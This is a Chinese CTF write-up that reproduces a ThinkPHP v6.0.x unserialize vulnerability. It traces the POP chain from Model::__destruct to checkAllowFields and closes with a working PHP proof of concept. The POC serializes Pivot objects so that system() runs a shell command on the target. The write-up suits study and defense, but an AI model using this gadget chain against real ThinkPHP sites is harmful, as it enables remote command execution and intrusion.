ThinkPHP v6.0.x反序列化漏洞复现
这次ciscnweb就做出来一道题呜呜呜呜呜我太菜了
唯一的一道在这里仔细复现分析一下
贴一张当时的图
一、环境搭建
当时用dirsearch扫到了www.zip,down下来直接拖到wamp里
搭建成功
二、入口函数
题目中的入口函数在\app\controller\Index.php中
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
}
public function hello($name = 'ThinkPHP6')
{
return 'hello,' . $name;
}
public function test()
{
unserialize($_POST['a']);
}
}
在ThinkPHP6.0完全开发手册中可以看到进入路由的访问url
访问测试
三、pop链
漏洞起点在/vendor/topthink/think-orm/src/Model.php中的**__destruct()**函数
魔术方法__destruct() //对象销毁时触发
调用了save方法,跟进save()
其中updateData()可以触发 __toString,所以我们要让532行中 || 前后的判断条件都不为true,且536行$this->exists为true
跟进isEmpty()
只要data不为空就行,这个可控
再跟进trigger()的definition,在/vendor/topthink/think-orm/src/model/concern/ModelEvent.php中
这里让$this→withEvent为false就好,就会返回true,save()中的判断就会不成立,就不会跳出
/**这里记录到目前为止需要控制的参数**/
$data[]=//不为空
protected $withEvent = false;
跟进updateData()
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}
foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}
// 模型更新
$db = $this->db();
$db->transaction(function () use ($data, $allowFields, $db) {
$this->key = null;
$where = $this->getWhere();
$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);
$this->checkResult($result);
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
});
// 更新回调
$this->trigger('AfterUpdate');
return true;
}
漏洞方法是checkAllowFields()存在字符串拼接,跟进看看
field和schema需要为空才能进入到第一个else从而进入db()方法
这里table和suffix就存在字符串拼接了,后面的链就和tp5的一样了,这里不再赘述
POC:
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
//protected $withEvent = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['cat /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}